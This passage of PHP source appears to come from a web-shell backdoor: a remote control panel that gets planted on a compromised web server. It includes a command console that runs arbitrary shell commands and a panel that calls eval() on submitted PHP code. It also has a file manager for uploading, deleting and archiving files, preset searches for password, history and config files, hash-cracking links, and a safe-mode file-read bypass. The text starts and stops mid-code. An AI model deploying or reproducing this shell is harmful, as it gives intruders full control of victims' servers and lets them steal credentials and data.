vhosts.conf",\r\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\r\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\r\n\t\t"locate my.conf files" => "locate my.conf",\r\n\t\t"locate admin.php files" =>"locate admin.php",\r\n\t\t"locate cfg.php files" => "locate cfg.php",\r\n\t\t"locate conf.php files" => "locate conf.php",\r\n\t\t"locate config.dat files" => "locate config.dat",\r\n\t\t"locate config.php files" => "locate config.php",\r\n\t\t"locate config.inc files" => "locate config.inc",\r\n\t\t"locate config.inc.php" => "locate config.inc.php",\r\n\t\t"locate config.default.php files" => "locate config.default.php",\r\n\t\t"locate config* files " => "locate config",\r\n\t\t"locate .conf files"=>"locate \'.conf\'",\r\n\t\t"locate .pwd files" => "locate \'.pwd\'",\r\n\t\t"locate .sql files" => "locate \'.sql\'",\r\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\r\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\r\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\r\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\r\n\t\t"locate backup files" => "locate backup",\r\n\t\t"locate dump files" => "locate dump",\r\n\t\t"locate priv files" => "locate priv"\r\n\t);\r\nfunction actionConsole() {\r\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\r\n        $_POST[\'p1\'] .= \' 2>&1\';\r\n    } elseif(!empty($_POST[\'p1\']))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\techo "d.cf.cmd.value=\'\';\\n";\r\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\r\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\r\n\t\t\tif(@chdir($match[1])) {\r\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\r\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "d.cf.output.value+=\'".$temp."\';";\r\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\r\n\t\t$temp = ob_get_clean();\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\thardHeader();\r\n    echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\'\');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push(\'\');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";\r\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\r\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\r\n\t\tif($v == \'\') {\r\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\r\n\t}\r\n\t\r\n\techo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\r\n\t}\r\n\techo \'</textarea><table class=main cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="width:100%;" onkeydown="kp(event);"></td></tr></table>\';\r\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\r\n\thardFooter();\r\n}\r\nfunction actionPhp() {\r\n\tif( isset($_POST[\'ajax\']) ) {\r\n\t\t$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;\r\n\t\tob_start();\r\n\t\teval($_POST[\'p1\']);\r\n\t\t$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit; \r\n\t}\r\n\thardHeader();\r\n\tif( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) {\r\n\t\techo \'<h1>PHP info</h1><div class=content>\';\r\n\t\tob_start();\r\n\t\tphpinfo();\r\n\t\t$tmp = ob_get_clean();\r\n\t\t$tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp);\r\n\t\t$tmp = preg_replace(\'!a:\\w+ {.*}!msiU\',\'\',$tmp);\r\n\t\t$tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp);\r\n\t\t$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\r\n\t\t$tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);\r\n\t\techo $tmp;\r\n\t\techo \'</div><br>\';\r\n\t}\r\n\tif(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\t$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\r\n\t\techo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';\r\n\techo \' <input type=checkbox name=ajax value=1 \'.($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tob_start();\r\n\t\teval($_POST[\'p1\']);\r\n\t\techo htmlspecialchars(ob_get_clean());\r\n\t}\r\n\techo \'</pre></div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesMan() {\r\n    if (!empty ($_COOKIE[\'f\']))\r\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\r\n    \r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tswitch($_POST[\'p1\']) {\r\n\t\t\tcase \'uploadFile\':\r\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\r\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\r\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\r\n                                echo "Can\'t upload file!";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'mkdir\':\r\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\r\n\t\t\t\t\techo "Can\'t create new dir";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'delete\':\r\n\t\t\t\tfunction deleteDir($path) {\r\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n\t\t\t\t\t$dh  = opendir($path);\r\n\t\t\t\t\twhile ( ($microsoft = readdir($dh) ) !== false) {\r\n\t\t\t\t\t\t$microsoft = $path.$microsoft;\r\n\t\t\t\t\t\tif ( (basename($microsoft) == "..") || (basename($microsoft) == ".") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t$type = filetype($microsoft);\r\n\t\t\t\t\t\tif ($type == "dir")\r\n\t\t\t\t\t\t\tdeleteDir($microsoft);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($microsoft);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\t@rmdir($path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@$_POST[\'f\']))\r\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\r\n                        if($f == \'..\')\r\n                            continue;\r\n\t\t\t\t\t\t$f = urldecode($f);\r\n\t\t\t\t\t\tif(is_dir($f))\r\n\t\t\t\t\t\t\tdeleteDir($f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'paste\':\r\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\r\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\r\n\t\t\t\t\tfunction move_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        if ($zip->open($_POST[\'p2\'], 1)) {\r\n                            chdir($_COOKIE[\'c\']);\r\n                            foreach($_COOKIE[\'f\'] as $f) {\r\n                                if($f == \'..\')\r\n                                    continue;\r\n                                if(@is_file($_COOKIE[\'c\'].$f))\r\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\r\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\r\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\r\n                                    foreach ($iterator as $key=>$value) {\r\n                                        $zip->addFile(realpath($key), $key);\r\n                                    }\r\n                                }\r\n                            }\r\n                            chdir($GLOBALS[\'cwd\']);\r\n                            $zip->close();\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        foreach($_COOKIE[\'f\'] as $f) {\r\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\r\n                                $zip->extractTo($GLOBALS[\'cwd\']);\r\n                                $zip->close();\r\n                            }\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\r\n                    chdir($_COOKIE[\'c\']);\r\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\r\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\r\n                    chdir($GLOBALS[\'cwd\']);\r\n\t\t\t\t}\r\n\t\t\t\tunset($_COOKIE[\'f\']);\r\n                setcookie(\'f\', \'\', time() - 3600);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n                if(!empty($_POST[\'p1\'])) {\r\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\r\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\r\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n    hardHeader();\r\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\r\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\r\n\tglobal $sort;\r\n\t$sort = array(\'name\', 1);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\r\n\t\t\t$sort = array($match[1], (int)$match[2]);\r\n\t}\r\necho "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table class=\'fm main\' cellspacing=\'0\' cellpadding=\'2\'>\r\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\r\n\t$dirs = $files = array();\r\n\t$n = count($dirContent);\r\n\tfor($i=0;$i<$n;$i++) {\r\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\r\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\r\n\t\t$tmp = array(\'name\' => $dirContent[$i],\r\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\r\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\r\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\r\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\r\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t}\r\n\t$GLOBALS[\'sort\'] = $sort;\r\n\tfunction cmp($a, $b) {\r\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\r\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t}\r\n\tusort($files, "cmp");\r\n\tusort($dirs, "cmp");\r\n\t$files = array_merge($dirs, $files);\r\n\t$l = 0;\r\n\tforeach($files as $f) {\r\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\r\n\t\t\t.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\r\n\t\t$l = $l?0:1;\r\n\t}\r\n\techo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=\'\'>\r\n\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n\t<label><select name=\'p1\'>";\r\n\tif(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\r\n        echo "<option value=\'paste\'>↳ Paste</option>";\r\n\techo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\r\n    if(class_exists(\'ZipArchive\'))\r\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\r\n    echo "<option value=\'tar\'>+ tar.gz</option>";\r\n    echo "</select></label>";\r\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\r\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\r\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\r\n\thardFooter();\r\n}\r\nfunction actionStringTools() {\r\n\tif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\r\n    if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\r\n\tif(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}\r\n\tif(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}\r\n\tif(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\r\n\t$stringTools = array(\r\n\t\t\'Base64 encode\' => \'base64_encode\',\r\n\t\t\'Base64 decode\' => \'base64_decode\',\r\n\t\t\'Url encode\' => \'urlencode\',\r\n\t\t\'Url decode\' => \'urldecode\',\r\n\t\t\'Full urlencode\' => \'full_urlencode\',\r\n\t\t\'md5 hash\' => \'md5\',\r\n\t\t\'sha1 hash\' => \'sha1\',\r\n\t\t\'crypt\' => \'crypt\',\r\n\t\t\'CRC32\' => \'crc32\',\r\n\t\t\'ASCII to HEX\' => \'ascii2hex\',\r\n\t\t\'HEX to ASCII\' => \'hex2ascii\',\r\n\t\t\'HEX to DEC\' => \'hexdec\',\r\n\t\t\'HEX to BIN\' => \'hex2bin\',\r\n\t\t\'DEC to HEX\' => \'dechex\',\r\n\t\t\'DEC to BIN\' => \'decbin\',\r\n\t\t\'BIN to HEX\' => \'binhex\',\r\n\t\t\'BIN to DEC\' => \'bindec\',\r\n\t\t\'String to lower case\' => \'strtolower\',\r\n\t\t\'String to upper case\' => \'strtoupper\',\r\n\t\t\'Htmlspecialchars\' => \'htmlspecialchars\',\r\n\t\t\'String length\' => \'strlen\',\r\n\t);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\tif(in_array($_POST[\'p1\'], $stringTools))\r\n\t\t\techo $_POST[\'p1\']($_POST[\'p2\']);\r\n\t\t$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\thardHeader();\r\n\techo \'<h1>String conversions</h1><div class=content>\';\r\n\techo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><label><select name=\'selectTool\'>";\r\n\tforeach($stringTools as $k => $v)\r\n\t\techo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";\r\n\t\techo "</select></label><input type=\'submit\' value=\'submit\'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\r\n\t}\r\n\techo"</pre></div><br><h1>Search files:</h1><div class=content>\r\n\t\t<form onsubmit=\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>\r\n\t\t\t<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>\r\n\t\t\t<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>\r\n\t\t\t<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>\r\n\t\t\t<tr><td></td><td><input type=\'submit\' value=\'submit\'></td></tr>\r\n\t\t\t</table></form>";\r\n\tfunction hardRecursiveGlob($path) {\r\n\t\tif(substr($path, -1) != \'/\')\r\n\t\t\t$path.=\'/\';\r\n\t\t$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\r\n\t\tif(is_array($paths)&&@count($paths)) {\r\n\t\t\tforeach($paths as $microsoft) {\r\n\t\t\t\tif(@is_dir($microsoft)){\r\n\t\t\t\t\tif($path!=$microsoft)\r\n\t\t\t\t\t\thardRecursiveGlob($microsoft);\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif(empty($_POST[\'p2\']) || @strpos(file_get_contents($microsoft), $_POST[\'p2\'])!==false)\r\n\t\t\t\t\t\techo "<a href=\'#\' onclick=\'g(\\"FilesTools\\",null,\\"".urlencode($microsoft)."\\", \\"view\\",\\"\\")\'>".htmlspecialchars($microsoft)."</a><br>";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(@$_POST[\'p3\'])\r\n\t\thardRecursiveGlob($_POST[\'c\']);\r\n\techo "</div><br><h1>Search for hash:</h1><div class=content>\r\n\t\t<form method=\'post\' target=\'_blank\' name=\'hf\'>\r\n\t\t\t<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>\r\n            <input type=\'hidden\' name=\'act\' value=\'find\'/>\r\n\t\t\t<input type=\'submit\' value=\'hashcracking.ru\' onclick=\\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'md5.rednoize.com\' onclick=\\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\\"><br>\r\n            <input type=\'submit\' value=\'fakenamegenerator.com\' onclick=\\"document.hf.action=\'http://www.fakenamegenerator.com/\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'hashcrack.com\' onclick=\\"document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'toolki.com\' onclick=\\"document.hf.action=\'http://toolki.com/\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'fopo.com.ar\' onclick=\\"document.hf.action=\'http://fopo.com.ar/\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'md5decrypter.com\' onclick=\\"document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()\\"><br>\r\n\t\t</form></div>";\r\n\thardFooter();\r\n}\r\nfunction actionSafeMode() {\r\n\t$temp=\'\';\r\n\tob_start();\r\n\tswitch($_POST[\'p1\']) {\r\n\t\tcase 1:\r\n\t\t\t$temp=@tempnam($test, \'cx\');\r\n\t\t\tif(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){\r\n\t\t\t\techo @file_get_contents($temp);\r\n\t\t\t\tunlink($temp);\r\n\t\t\t} else\r\n\t\t\t\techo \'Sorry... Can\\\'t open file\';\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\t$files = glob($_POST[\'p2\'].\'*\');\r\n\t\t\tif( is_array($files) )\r\n\t\t\t\tforeach ($files as $filename)\r\n\t\t\t\t\techo $filename."\\n";\r\n\t\t\tbreak;\r\n\t\tcase 3:\r\n\t\t\t$ch = 